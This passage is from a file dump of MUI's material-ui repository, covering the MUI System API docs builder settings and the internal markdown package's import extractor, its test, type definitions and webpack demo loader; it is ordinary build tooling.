    "path": "packages/api-docs-builder-core/muiSystem/getSystemComponentInfo.ts",
    "content": "import fs from 'fs';\nimport path from 'path';\nimport { kebabCase } from 'es-toolkit/string';\nimport { getHeaders, getTitle } from '@mui/internal-markdown';\nimport {\n  ComponentInfo,\n  extractPackageFile,\n  getMuiName,\n  parseFile,\n  fixPathname,\n} from '@mui-internal/api-docs-builder/buildApiUtils';\nimport findPagesMarkdown from '@mui-internal/api-docs-builder/utils/findPagesMarkdown';\n\nconst migratedBaseComponents = [\n  'Badge',\n  'Button',\n  'ClickAwayListener',\n  'FocusTrap',\n  'Input',\n  'MenuItem',\n  'Menu',\n  'Modal',\n  'NoSsr',\n  'OptionGroup',\n  'Option',\n  'Popper',\n  'Portal',\n  'Select',\n  'Slider',\n  'Switch',\n  'TablePagination',\n  'TabPanel',\n  'TabsList',\n  'Tabs',\n  'Tab',\n];\n\nexport function getSystemComponentInfo(filename: string): ComponentInfo {\n  const { name } = extractPackageFile(filename);\n  let srcInfo: null | ReturnType<ComponentInfo['readFile']> = null;\n  if (!name) {\n    throw new Error(`Could not find the component name from: ${filename}`);\n  }\n  return {\n    filename,\n    name,\n    muiName: getMuiName(name),\n    apiPathname: `/system/api/${kebabCase(name)}/`,\n    apiPagesDirectory: path.join(process.cwd(), `docs/pages/system/api`),\n    isSystemComponent: true,\n    readFile: () => {\n      srcInfo = parseFile(filename);\n      return srcInfo;\n    },\n    getInheritance() {\n      return null;\n    },\n    getDemos: () => {\n      const allMarkdowns = findPagesMarkdown()\n        .filter((markdown) => {\n          if (migratedBaseComponents.some((component) => filename.includes(component))) {\n            return markdown.filename.match(/[\\\\/]data[\\\\/]system[\\\\/]/);\n          }\n          return true;\n        })\n        .map((markdown) => {\n          const markdownContent = fs.readFileSync(markdown.filename, 'utf8');\n          const markdownHeaders = getHeaders(markdownContent);\n\n          return {\n            ...markdown,\n            markdownContent,\n            components: markdownHeaders.components,\n          };\n        });\n      return allMarkdowns\n        .filter((page) => page.components.includes(name))\n        .map((page) => ({\n          filePath: page.filename, // pathname of the markdown file\n          demoPageTitle: pathToSystemTitle({\n            ...page,\n            title: getTitle(page.markdownContent),\n          }),\n          demoPathname: fixPathname(page.pathname),\n        }));\n    },\n  };\n}\n\ninterface PageMarkdown {\n  pathname: string;\n  title: string;\n  components: readonly string[];\n}\n\nfunction pathToSystemTitle(page: PageMarkdown) {\n  const defaultTitle = page.title;\n  if (page.pathname.startsWith('/material')) {\n    return `${defaultTitle} (Material UI)`;\n  }\n  if (page.pathname.startsWith('/system')) {\n    return `${defaultTitle} (MUI System)`;\n  }\n  return defaultTitle;\n}\n"
  },
  {
    "path": "packages/api-docs-builder-core/muiSystem/projectSettings.ts",
    "content": "import path from 'path';\nimport { LANGUAGES } from 'docs/config';\nimport { ProjectSettings } from '@mui-internal/api-docs-builder';\nimport findApiPages from '@mui-internal/api-docs-builder/utils/findApiPages';\nimport generateUtilityClass, { isGlobalState } from '@mui/utils/generateUtilityClass';\nimport { getSystemComponentInfo } from './getSystemComponentInfo';\n\nexport const projectSettings: ProjectSettings = {\n  output: {\n    apiManifestPath: path.join(process.cwd(), 'docs/data/system/pagesApi.js'),\n  },\n  typeScriptProjects: [\n    {\n      name: 'system',\n      rootPath: path.join(process.cwd(), 'packages/mui-system'),\n      entryPointPath: 'src/index.d.ts',\n    },\n  ],\n  getApiPages: () => findApiPages('docs/pages/system/api'),\n  getComponentInfo: getSystemComponentInfo,\n  translationLanguages: LANGUAGES,\n  skipComponent(filename) {\n    return (\n      filename.match(\n        /(ThemeProvider|CssVarsProvider|DefaultPropsProvider|GlobalStyles|InitColorSchemeScript)/,\n      ) !== null\n    );\n  },\n  translationPagesDirectory: 'docs/translations/api-docs',\n  generateClassName: generateUtilityClass,\n  isGlobalClassName: isGlobalState,\n};\n"
  },
  {
    "path": "packages/api-docs-builder-core/package.json",
    "content": "{\n  \"name\": \"@mui-internal/api-docs-builder-core\",\n  \"version\": \"1.0.0\",\n  \"description\": \"MUI Core-specific settings for API docs generator\",\n  \"private\": \"true\",\n  \"main\": \"./index.ts\",\n  \"scripts\": {\n    \"test\": \"pnpm --workspace-root test:unit --project \\\"*:@mui-internal/api-docs-builder-core\\\"\",\n    \"typescript\": \"tsc -p tsconfig.json\"\n  },\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/mui/material-ui.git\",\n    \"directory\": \"packages/api-docs-builder-core\"\n  },\n  \"dependencies\": {\n    \"@mui-internal/api-docs-builder\": \"workspace:^\",\n    \"@mui/internal-markdown\": \"workspace:^\",\n    \"docs\": \"workspace:^\",\n    \"es-toolkit\": \"^1.45.1\"\n  },\n  \"devDependencies\": {\n    \"@types/chai\": \"5.2.3\",\n    \"@types/node\": \"20.19.37\",\n    \"@types/sinon\": \"17.0.4\",\n    \"chai\": \"6.2.2\",\n    \"sinon\": \"21.0.3\",\n    \"typescript\": \"5.9.3\"\n  }\n}\n"
  },
  {
    "path": "packages/api-docs-builder-core/tsconfig.json",
    "content": "{\n  \"extends\": \"../../tsconfig.json\",\n  \"compilerOptions\": {\n    \"types\": [\"node\", \"vitest/globals\"]\n  },\n  \"include\": [\"./**/*.ts\", \"./**/*.js\"],\n  \"exclude\": [\"node_modules\", \"vitest.config.ts\"]\n}\n"
  },
  {
    "path": "packages/api-docs-builder-core/vitest.config.mts",
    "content": "// eslint-disable-next-line import/no-relative-packages\nimport sharedConfig from '../../vitest.shared.mts';\n\n// eslint-disable-next-line import/no-default-export\nexport default sharedConfig(import.meta.url);\n"
  },
  {
    "path": "packages/markdown/CHANGELOG.md",
    "content": "# Changelog\n\n## 1.0.0\n\nFirst release as an npm package.\n"
  },
  {
    "path": "packages/markdown/README.md",
    "content": "# @mui-internal/markdown\n\nMUI markdown parser and webpack loader.\nThis is an internal package not meant for general use.\n\n## Release\n\nThere is no build step.\nSources are meant to be used directly.\n\nTo publish the build artifacts to npm run `pnpm release:publish`.\n"
  },
  {
    "path": "packages/markdown/extractImports.mjs",
    "content": "// @ts-check\n\nconst importModuleRegexp =\n  /^\\s*import (?:[\"'\\s]*(?:[\\w*{}\\n, ]+)from\\s*)?[\"'\\s]*([^\"'{}$\\s]+)[\"'\\s].*/gm;\n\n/**\n * @param {string} code\n * @returns {string[]}\n */\nexport default function extractImports(code) {\n  return (code.match(importModuleRegexp) || []).map((x) => x.replace(importModuleRegexp, '$1'));\n}\n"
  },
  {
    "path": "packages/markdown/extractImports.test.mjs",
    "content": "import { expect } from 'chai';\nimport extractImports from './extractImports.mjs';\n\ndescribe('extractImports', () => {\n  it('finds all imports', () => {\n    const imports = extractImports(`\nimport {\n  Component\n} from '@angular2/core';\nimport defaultMember from \"module-1\";\nimport   *    as name from \"module-2  \";\nimport   {  member }   from \"  module-3\";\nimport { member as alias } from \"module-4\";\nimport { member1 ,\nmember2 } from \"module-5\";\nimport { member1 , member2 as alias2 , member3 as alias3 } from \"module-6\";\nimport defaultMember, { member, member } from \"module-7\";\nimport defaultMember, * as name from \"module-8\";\nimport \"module-9\";\n    import \"module-10\";\nimport * from './smdn';\nimport \\${importName} from 'module11/\\${importName}';\n  `);\n\n    expect(imports[0]).to.equal('@angular2/core');\n    expect(imports[1]).to.equal('module-1');\n    expect(imports[2]).to.equal('module-2');\n    expect(imports[3]).to.equal('module-3');\n    expect(imports[4]).to.equal('module-4');\n    expect(imports[5]).to.equal('module-5');\n    expect(imports[6]).to.equal('module-6');\n    expect(imports[7]).to.equal('module-7');\n    expect(imports[8]).to.equal('module-8');\n    expect(imports[9]).to.equal('module-9');\n    expect(imports[10]).to.equal('module-10');\n    expect(imports[11]).to.equal('./smdn');\n    expect(imports[12]).to.equal(undefined); // It's not a valid import\n  });\n});\n"
  },
  {
    "path": "packages/markdown/index.d.mts",
    "content": "interface TableOfContentsEntry {\n  children: TableOfContentsEntry[];\n  hash: string;\n  level: number;\n  text: string;\n}\n\nexport function createRender(context: {\n  headingHashes?: Record<string, string>;\n  toc?: TableOfContentsEntry[];\n  location?: string[];\n  userLanguage?: string;\n  ignoreLanguagePages?: (path: string) => boolean;\n  options: object;\n}): (markdown: string) => string;\n\nexport interface MarkdownHeaders {\n  packageName?: string;\n  productId: string;\n  githubLabel?: string;\n  waiAria?: string;\n  materialDesign?: string;\n  components: string[];\n  hooks?: string[];\n  slug?: string;\n  title?: string;\n  description?: string;\n  image?: string;\n  tags?: string[];\n  authors?: string[];\n  date?: string;\n  githubSource?: string;\n}\n\nexport function getHeaders(markdown: string): MarkdownHeaders;\n\nexport function getTitle(markdown: string): string;\n\nexport function renderMarkdown(markdown: string): string;\n"
  },
  {
    "path": "packages/markdown/index.mjs",
    "content": "export { createRender, getHeaders, getTitle, renderMarkdown } from './parseMarkdown.mjs';\n"
  },
  {
    "path": "packages/markdown/loader.mjs",
    "content": "// @ts-check\n\nimport { promises as fs, readdirSync, statSync } from 'fs';\nimport path from 'path';\nimport prepareMarkdown from './prepareMarkdown.mjs';\nimport extractImports from './extractImports.mjs';\n\nconst notEnglishMarkdownRegExp = /-([a-z]{2})\\.md$/;\n\n/**\n * @param {string} string\n */\nfunction upperCaseFirst(string) {\n  return `${string[0].toUpperCase()}${string.slice(1)}`;\n}\n\n/**\n * @param {string} moduleID\n * @example moduleIDToJSIdentifier('./Box.js') === '$$IndexJs'\n * @example moduleIDToJSIdentifier('./Box-new.js') === '$$BoxNewJs'\n * @example moduleIDToJSIdentifier('../Box-new.js') === '$$$BoxNewJs'\n */\nfunction moduleIDToJSIdentifier(moduleID) {\n  const delimiter = /(@|\\.|-|\\/|:)/;\n  return moduleID\n    .split(delimiter)\n    .filter((part) => !delimiter.test(part))\n    .map((part) => (part.length === 0 ? '$' : part))\n    .map(upperCaseFirst)\n    .join('');\n}\n\n/**\n * @typedef {Record<string, Record<string, string>> } ComponentPackageMapping\n */\n\n/** @type {ComponentPackageMapping | null} */\nlet componentPackageMapping = null;\n\n/**\n * @typedef {Object} Package\n * @property {string[]} paths\n * @property {string} productId\n */\n\n/**\n * @param {Package[]} packages\n */\nfunction findComponents(packages) {\n  /** @type {ComponentPackageMapping} */\n  const mapping = {};\n\n  packages.forEach((pkg) => {\n    pkg.paths.forEach((pkgPath) => {\n      const match = pkgPath.match(/packages(?:\\\\|\\/)([^/\\\\]+)(?:\\\\|\\/)src/);\n      const packageName = match ? match[1] : null;\n      if (!packageName) {\n        throw new Error(`cannot find package name from path: ${pkgPath}`);\n      }\n      const filePaths = readdirSync(pkgPath);\n      filePaths.forEach((folder) => {\n        if (folder.match(/^[A-Z]/)) {\n          if (!mapping[pkg.productId]) {\n            mapping[pkg.productId] = {};\n          }\n          // filename starts with Uppercase = component\n          mapping[pkg.productId][folder] = packageName;\n        }\n      });\n    });\n  });\n\n  return mapping;\n}\n\n/**\n * @typedef {Object} LoaderOptions\n * @property {Package[]} packages\n * @property {string[]} languagesInProgress\n * @property {string} workspaceRoot\n */\n\n/**\n * @typedef {Object} ModuleData\n * @property {string} module\n * @property {string} raw\n */\n\n/**\n * @typedef {Object} Translation\n * @property {string} filename\n * @property {string} userLanguage\n * @property {string} [markdown]\n */\n\n/**\n * @typedef {Object} Demo\n * @property {string} module\n * @property {string} [moduleTS]\n * @property {string} [moduleTailwind]\n * @property {string} [moduleTSTailwind]\n * @property {string} [moduleCSS]\n * @property {string} [moduleTSCSS]\n * @property {string} raw\n * @property {string} [rawTS]\n * @property {string} [rawTailwind]\n * @property {string} [rawTailwindTS]\n * @property {string} [rawCSS]\n * @property {string} [rawCSSTS]\n * @property {string} [jsxPreview]\n * @property {string} [tailwindJsxPreview]\n * @property {string} [cssJsxPreview]\n * @property {Object.<string, ModuleData[]>} [relativeModules]\n */\n\n/**\n * @type {import('webpack').LoaderDefinitionFunction<LoaderOptions>}\n * @this {import('webpack').LoaderContext<LoaderOptions>}\n */\nexport default async function demoLoader() {\n  const englishFilepath = this.resourcePath;\n  const options = this.getOptions();\n\n  if (componentPackageMapping === null) {\n    componentPackageMapping = findComponents(options.packages ?? []);\n  }\n\n  const englishFilename = path.basename(englishFilepath, '.md');\n\n  const files = await fs.readdir(path.dirname(englishFilepath));\n  const translations = await Promise.all(\n    /** @type {Translation[]} */ (\n      files\n        .map((filename) => {\n          if (filename === `${englishFilename}.md`) {\n            return {\n              filename,\n              userLanguage: 'en',\n            };\n          }\n\n          const matchNotEnglishMarkdown = filename.match(notEnglishMarkdownRegExp);\n\n          if (\n            filename.startsWith(englishFilename) &&\n            matchNotEnglishMarkdown !== null &&\n            options.languagesInProgress.includes(matchNotEnglishMarkdown[1])\n          ) {\n            return {\n              filename,\n              userLanguage: matchNotEnglishMarkdown[1],\n            };\n          }\n\n          return null;\n        })\n        .filter((translation) => translation)\n    ).map(async (translation) => {\n      const filepath = path.join(path.dirname(englishFilepath), translation.filename);\n      this.addDependency(filepath);\n      const markdown = await fs.readFile(filepath, { encoding: 'utf8' });\n\n      return {\n        ...translation,\n        markdown,\n      };\n    }),\n  );\n\n  // Use .. as the docs runs from the /docs folder\n  const fileRelativeContext = path\n    .relative(options.workspaceRoot, this.context)\n    // win32 to posix\n    .replace(/\\\\/g, '/');\n\n  const { docs } = prepareMarkdown({\n    fileRelativeContext,\n    translations,\n    componentPackageMapping,\n    options,\n  });\n\n  /** @type {Record<string, Demo>} */\n  const demos = {};\n  /** @type {Set<string>} */\n  const importedModuleIDs = new Set();\n  /** @type {Record<string, string>} */\n  const components = {};\n  /** @type {Set<string>} */\n  const demoModuleIDs = new Set();\n  /** @type {Set<string>} */\n  const componentModuleIDs = new Set();\n  /** @type {Set<string>} */\n  const nonEditableDemos = new Set();\n  /** @type {Map<string, Map<string, string[]>>} */\n  const relativeModules = new Map();\n  /** @type {string[]} */\n  const demoNames = Array.from(\n    new Set(\n      /** @type {import('./prepareMarkdown.mjs').DemoEntry[]} */ (\n        docs.en.rendered.filter((markdownOrComponentConfig) => {\n          return typeof markdownOrComponentConfig !== 'string' && markdownOrComponentConfig.demo;\n        })\n      ).map((demoConfig) => {\n        if (demoConfig.hideToolbar) {\n          nonEditableDemos.add(demoConfig.demo);\n        }\n        return demoConfig.demo;\n      }),\n    ),\n  );\n\n  /**\n   * @param {*} demoName\n   * @param {*} moduleFilepath\n   * @param {*} variant\n   * @param {*} importModuleID\n   * @returns {string} The name of the imported module along with a resolved extension if not provided\n   * @example detectRelativeImports('ComboBox.js', '', JS', './top100Films') => relativeModules.set('ComboBox.js', new Map([['./top100Films.js', ['JS']]]))\n   */\n  function detectRelativeImports(demoName, moduleFilepath, variant, importModuleID) {\n    let relativeModuleFilename = importModuleID;\n    if (importModuleID.startsWith('.')) {\n      const demoMap = relativeModules.get(demoName);\n      // If the moduleID does not end with an extension, or ends with an unsupported extension (e.g. \".styling\") we need to resolve it\n      // Fastest way to get a file extension, see: https://stackoverflow.com/a/12900504/\n      const importType = importModuleID.slice(\n        (Math.max(0, importModuleID.lastIndexOf('.')) || Infinity) + 1,\n      );\n      const supportedTypes = ['js', 'jsx', 'ts', 'tsx', 'css', 'json'];\n      if (!importType || !supportedTypes.includes(importType)) {\n        // If the demo is a JS demo, we can assume that the relative import is either\n        // a `.js` or a `.jsx` file, with `.js` taking precedence over `.jsx`\n        // likewise for TS demos, with `.ts` taking precedence over `.tsx`\n        const extensions =\n          variant === 'JS' ? ['.js', '.jsx', '.ts', '.tsx'] : ['.ts', '.tsx', '.js', '.jsx'];\n        const extension = extensions.find((ext) => {\n          try {\n            return statSync(path.join(moduleFilepath, '..', `${importModuleID}${ext}`));\n          } catch (error) {\n            // If the file does not exist, we return false and continue to the next extension\n            return false;\n          }\n        });\n        if (!extension) {\n          throw new Error(\n            [\n              `You are trying to import a module \"${importModuleID}\" in the demo \"${demoName}\" that could not be resolved.`,\n              `Please make sure that one of the following file exists:`,\n              ...extensions.map((ext) => `- ${importModuleID}${ext}`),\n            ].join('\\n'),\n          );\n        } else {\n          relativeModuleFilename = `${importModuleID}${extension}`;\n        }\n      }\n\n      if (!demoMap) {\n        relativeModules.set(demoName, new Map([[relativeModuleFilename, [variant]]]));\n      } else {\n        const variantArray = demoMap.get(relativeModuleFilename);\n        if (variantArray) {\n          variantArray.push(variant);\n        } else {\n          demoMap.set(relativeModuleFilename, [variant]);\n        }\n      }\n    }\n    return relativeModuleFilename;\n  }\n\n  /**\n   * Inserts the moduleData into the relativeModules object\n   * @param {string} demoName\n   * @param {ModuleData} moduleData\n   * @param {string} variant\n   */\n  function updateRelativeModules(demoName, moduleData, variant) {\n    const variantModule = /** @type {Object.<string, ModuleData[]>} */ (\n      demos[demoName].relativeModules\n    );\n    if (variantModule[variant]) {\n      // Avoid duplicates\n      if (!variantModule[variant].some((elem) => elem.module === moduleData.module)) {\n        variantModule[variant].push(moduleData);\n      }\n    } else {\n      variantModule[variant] = [moduleData];\n    }\n  }\n\n  await Promise.all(\n    demoNames.map(async (demoName) => {\n      const multipleDemoVersionsUsed = !demoName.endsWith('.js');\n\n      // TODO: const moduleID = demoName;\n      // The import paths currently use a completely different format.\n      // They should just use relative imports.\n      let moduleID = `./${demoName.replace(\n        `pages/${fileRelativeContext.replace(/^docs\\/src\\/pages\\//, '')}/`,\n        '',\n      )}`;\n\n      if (multipleDemoVersionsUsed) {\n        moduleID = `${moduleID}/system/index.js`;\n      }\n\n      const moduleFilepath = path.join(\n        path.dirname(this.resourcePath),\n        moduleID.replace(/\\//g, path.sep),\n      );\n      this.addDependency(moduleFilepath);\n      demos[demoName] = {\n        module: moduleID,\n        raw: await fs.readFile(moduleFilepath, { encoding: 'utf8' }),\n      };\n      demoModuleIDs.add(moduleID);\n\n      // Skip non-editable demos\n      if (!nonEditableDemos.has(demoName)) {\n        extractImports(demos[demoName].raw).forEach((importModuleID) => {\n          // detect relative import\n          detectRelativeImports(demoName, moduleFilepath, 'JS', importModuleID);\n          importedModuleIDs.add(importModuleID);\n        });\n      }\n\n      if (multipleDemoVersionsUsed) {\n        // Add Tailwind demo data\n        const tailwindModuleID = moduleID.replace('/system/index.js', '/tailwind/index.js');\n        try {\n          // Add JS demo data\n          const tailwindModuleFilepath = path.join(\n            path.dirname(this.resourcePath),\n            tailwindModuleID.replace(/\\//g, path.sep),\n          );\n\n          demos[demoName].moduleTailwind = tailwindModuleID;\n          demos[demoName].rawTailwind = await fs.readFile(tailwindModuleFilepath, {\n            encoding: 'utf8',\n          });\n\n          this.addDependency(tailwindModuleFilepath);\n\n          demoModuleIDs.add(tailwindModuleID);\n\n          extractImports(demos[demoName].rawTailwind).forEach((importModuleID) =>\n            importedModuleIDs.add(importModuleID),\n          );\n\n          demoModuleIDs.add(demos[demoName].moduleTailwind);\n        } catch (error) {\n          // tailwind js demo doesn't exists\n        }\n\n        try {\n          // Add TS demo data\n          const tailwindTSModuleID = tailwindModuleID.replace('.js', '.tsx');\n\n          const tailwindTSModuleFilepath = path.join(\n            path.dirname(this.resourcePath),\n            tailwindTSModuleID.replace(/\\//g, path.sep),\n          );\n\n          demos[demoName].moduleTSTailwind = tailwindTSModuleID;\n          demos[demoName].rawTailwindTS = await fs.readFile(tailwindTSModuleFilepath, {\n            encoding: 'utf8',\n          });\n\n          this.addDependency(tailwindTSModuleFilepath);\n\n          demoModuleIDs.add(tailwindTSModuleID);\n\n          extractImports(demos[demoName].rawTailwindTS).forEach((importModuleID) =>\n            importedModuleIDs.add(importModuleID),\n          );\n\n          demoModuleIDs.add(demos[demoName].moduleTSTailwind);\n        } catch (error) {\n          // tailwind TS demo doesn't exists\n        }\n\n        // Add plain CSS demo data\n        const cssModuleID = moduleID.replace('/system/index.js', '/css/index.js');\n        try {\n          // Add JS demo data\n          const cssModuleFilepath = path.join(\n            path.dirname(this.resourcePath),\n            cssModuleID.replace(/\\//g, path.sep),\n          );\n\n          demos[demoName].moduleCSS = cssModuleID;\n          demos[demoName].rawCSS = await fs.readFile(cssModuleFilepath, {\n            encoding: 'utf8',\n          });\n\n          this.addDependency(cssModuleFilepath);\n\n          demoModuleIDs.add(cssModuleID);\n\n          extractImports(demos[demoName].rawCSS).forEach((importModuleID) =>\n            importedModuleIDs.add(importModuleID),\n          );\n\n          demoModuleIDs.add(demos[demoName].moduleCSS);\n        } catch (error) {\n          // plain css js demo doesn't exists\n        }\n\n        try {\n          // Add TS demo data\n          const cssTSModuleID = cssModuleID.replace('.js', '.tsx');\n\n          const cssTSModuleFilepath = path.join(\n            path.dirname(this.resourcePath),\n            cssTSModuleID.replace(/\\//g, path.sep),\n          );\n\n          demos[demoName].moduleTSCSS = cssTSModuleID;\n          demos[demoName].rawCSSTS = await fs.readFile(cssTSModuleFilepath, {\n            encoding: 'utf8',\n          });\n\n          this.addDependency(cssTSModuleFilepath);\n\n          demoModuleIDs.add(cssTSModuleID);\n\n          extractImports(demos[demoName].rawCSSTS).forEach((importModuleID) =>\n            importedModuleIDs.add(importModuleID),\n          );\n\n          demoModuleIDs.add(demos[demoName].moduleTSCSS);\n        } catch (error) {\n          // plain css demo doesn't exists\n        }\n\n        // Tailwind preview\n        try {\n          const tailwindPreviewFilepath = moduleFilepath.replace(\n            `${path.sep}system${path.sep}index.js`,\n            `${path.sep}tailwind${path.sep}index.tsx.preview`,\n          );\n\n          const tailwindJsxPreview = await fs.readFile(tailwindPreviewFilepath, {\n            encoding: 'utf8',\n          });\n          this.addDependency(tailwindPreviewFilepath);\n\n          demos[demoName].tailwindJsxPreview = tailwindJsxPreview;\n        } catch (error) {\n          // No preview exists. This is fine.\n        }\n\n        // CSS preview\n        try {\n          const cssPreviewFilepath = moduleFilepath.replace(\n            `${path.sep}system${path.sep}index.js`,\n            `${path.sep}css${path.sep}index.tsx.preview`,\n          );\n\n          const cssJsxPreview = await fs.readFile(cssPreviewFilepath, {\n            encoding: 'utf8',\n          });\n          this.addDependency(cssPreviewFilepath);\n\n          demos[demoName].cssJsxPreview = cssJsxPreview;\n        } catch (error) {\n          // No preview exists. This is fine.\n        }\n      }\n\n      try {\n        const previewFilepath = moduleFilepath.replace(/\\.js$/, '.tsx.preview');\n\n        const jsxPreview = await fs.readFile(previewFilepath, { encoding: 'utf8' });\n        this.addDependency(previewFilepath);\n\n        demos[demoName].jsxPreview = jsxPreview;\n      } catch (error) {\n        // No preview exists. This is fine.\n      }\n\n      try {\n        const moduleTS = moduleID.replace(/\\.js$/, '.tsx');\n        const moduleTSFilepath = path.join(\n          path.dirname(this.resourcePath),\n          moduleTS.replace(/\\//g, path.sep),\n        );\n        this.addDependency(moduleTSFilepath);\n        const rawTS = await fs.readFile(moduleTSFilepath, { encoding: 'utf8' });\n\n        // In development devs can choose whether they want to work on the TS or JS version.\n        // But this leads to building both demo version i.e. more build time.\n        demos[demoName].moduleTS = this.mode === 'production' ? moduleID : moduleTS;\n        demos[demoName].rawTS = rawTS;\n\n        // Extract relative imports from the TypeScript version\n        // of demos which have relative imports in the JS version\n        if (relativeModules.has(demoName)) {\n          extractImports(demos[demoName].rawTS).forEach((importModuleID) => {\n            detectRelativeImports(demoName, moduleTSFilepath, 'TS', importModuleID);\n            importedModuleIDs.add(importModuleID);\n          });\n        }\n\n        demoModuleIDs.add(demos[demoName].moduleTS);\n      } catch (error) {\n        // TS version of the demo doesn't exist. This is fine.\n      }\n\n      /* Map over relative import module IDs and resolve them\n       * while grouping by demo variant\n       * From:\n       * relativeModules: { 'ComboBox.js' =>\n       *    { './top100Films.js'  => ['JS', 'TS'] }\n       * }\n       * To:\n       * demos[\"ComboBox.js\"].relativeModules = {\n       *     JS: [{ module: './top100Films.js', raw: '...' }],\n       *     TS: [{ module: './top100Films.js', raw: '...' }]\n       *   }\n       * }\n       */\n\n      if (relativeModules.has(demoName)) {\n        if (!demos[demoName].relativeModules) {\n          demos[demoName].relativeModules = {};\n        }\n\n        /** @type {Record<string, Set<string>>} */\n        const addedModulesRelativeToModulePathPerVariant = {};\n\n        const demoRelativeModules = /** @type {Map<string, string[]>} */ (\n          relativeModules.get(demoName)\n        );\n\n        await Promise.all(\n          Array.from(demoRelativeModules).map(async ([relativeModuleID, variants]) => {\n            for (const variant of variants) {\n              addedModulesRelativeToModulePathPerVariant[variant] ??= new Set();\n              const addedModulesRelativeToModulePath =\n                addedModulesRelativeToModulePathPerVariant[variant];\n\n              let raw = '';\n              const relativeModuleFilePath = path.join(\n                path.dirname(moduleFilepath),\n                relativeModuleID,\n              );\n\n              // the file has already been processed\n              if (addedModulesRelativeToModulePath.has(relativeModuleFilePath)) {\n                continue;\n              }\n\n              try {\n                // We are only iterating through an array that looks\n                // like this: ['JS', 'TS'], so  it is safe to await\n                // eslint-disable-next-line no-await-in-loop\n                raw = await fs.readFile(relativeModuleFilePath, {\n                  encoding: 'utf8',\n                });\n\n                const importedProcessedModuleIDs = new Set();\n                const importedProcessedModulesIDsParents = new Map();\n                // Find the relative paths in the relative module\n                extractImports(raw).forEach((importModuleID) => {\n                  // detect relative import\n                  const importModuleIdWithExtension = detectRelativeImports(\n                    relativeModuleID,\n                    relativeModuleFilePath,\n                    variant,\n                    importModuleID,\n                  );\n                  if (importModuleID.startsWith('.')) {\n                    importedProcessedModuleIDs.add(importModuleIdWithExtension);\n                    importedProcessedModulesIDsParents.set(\n                      importModuleIdWithExtension,\n                      relativeModuleFilePath,\n                    );\n                  }\n                });\n\n                updateRelativeModules(demoName, { module: relativeModuleID, raw }, variant);\n                addedModulesRelativeToModulePath.add(relativeModuleFilePath);\n\n                // iterate recursively over the relative imports\n                while (importedProcessedModuleIDs.size > 0) {\n                  for (const entry of importedProcessedModuleIDs) {\n                    if (entry.startsWith('.')) {\n                      const entryModuleFilePath = path.join(\n                        path.dirname(importedProcessedModulesIDsParents.get(entry)),\n                        entry,\n                      );\n\n                      // We are only iterating through an array that looks\n                      // like this: ['JS', 'TS'], so  it is safe to await\n                      // eslint-disable-next-line no-await-in-loop\n                      const rawEntry = await fs.readFile(entryModuleFilePath, {\n                        encoding: 'utf8',\n                      });\n\n                      extractImports(rawEntry).forEach((importModuleID) => {\n                        // detect relative import\n                        const importModuleIdWithExtension = detectRelativeImports(\n                          relativeModuleID,\n                          entryModuleFilePath,\n                          variant,\n                          importModuleID,\n                        );\n                        if (importModuleID.startsWith('.')) {\n                          importedProcessedModuleIDs.add(importModuleIdWithExtension);\n                          importedProcessedModulesIDsParents.set(\n                            importModuleIdWithExtension,\n                            entryModuleFilePath,\n                          );\n                        }\n                      });\n\n                      if (!addedModulesRelativeToModulePath.has(entryModuleFilePath)) {\n                        const modulePathDirectory = moduleFilepath\n                          .split('/')\n                          .slice(0, -1)\n                          .join('/');\n                        const moduleData = {\n                          module: `.${entryModuleFilePath.replace(modulePathDirectory, '')}`,\n                          raw: rawEntry,\n                        };\n                        updateRelativeModules(demoName, moduleData, variant);\n                        addedModulesRelativeToModulePath.add(entryModuleFilePath);\n                      }\n                    }\n                    importedProcessedModuleIDs.delete(entry);\n                  }\n                }\n              } catch {\n                throw new Error(\n                  `Could not find a module for the relative import \"${relativeModuleID}\" in the demo \"${demoName}\"`,\n                );\n              }\n            }\n          }),\n        );\n      }\n    }),\n  );\n\n  /** @type {string[]} */\n  const componentNames = Array.from(\n    new Set(\n      /** @type {import('./prepareMarkdown.mjs').ComponentEntry[]} */ (\n        docs.en.rendered.filter((markdownOrComponentConfig) => {\n          return (\n            typeof markdownOrComponentConfig !== 'string' && markdownOrComponentConfig.component\n          );\n        })\n      ).map((componentConfig) => {\n        return componentConfig.component;\n      }),\n    ),\n  );\n\n  componentNames.forEach((componentName) => {\n    const moduleID = componentName.startsWith('@mui/docs/')\n      ? componentName\n      : path.join(this.rootContext, 'src', componentName).replace(/\\\\/g, '/');\n\n    components[moduleID] = componentName;\n    componentModuleIDs.add(moduleID);\n  });\n\n  const transformed = `\n  ${Array.from(importedModuleIDs)\n    .map((moduleID) => {\n      return `import * as ${moduleIDToJSIdentifier(\n        moduleID.replace('@', '$'),\n      )} from '${moduleID}';`;\n    })\n    .join('\\n')}\n\n    ${Array.from(demoModuleIDs)\n      .map((moduleID) => {\n        return `import ${moduleIDToJSIdentifier(moduleID)} from '${moduleID}';`;\n      })\n      .join('\\n')}\n    ${Array.from(componentModuleIDs)\n      .map((moduleID) => {\n        return `import ${moduleIDToJSIdentifier(moduleID)} from '${moduleID}';`;\n      })\n      .join('\\n')}\nexport const docs = ${JSON.stringify(docs, null, 2)};\nexport const demos = ${JSON.stringify(demos, null, 2)};\n\ndemos.scope = {\n  process: {},\n  import: {\n${Array.from(importedModuleIDs)\n  .map((moduleID) => `    \"${moduleID}\": ${moduleIDToJSIdentifier(moduleID.replace('@', '$'))},`)\n  .join('\\n')}\n  },\n};\n\nexport const demoComponents = {\n${Array.from(demoModuleIDs)\n  .map((moduleID) => {\n    return `  \"${moduleID}\": ${moduleIDToJSIdentifier(moduleID)},`;\n  })\n  .join('\\n')}\n};\nexport const srcComponents = {\n${Array.from(componentModuleIDs)\n  .map((moduleID) => {\n    return `  \"${components[moduleID]}\": ${moduleIDToJSIdentifier(moduleID)},`;\n  })\n  .join('\\n')}\n};\n`;\n\n  return transformed;\n}\n"
  },
  {
    "path": "packages/markdown/package.json",
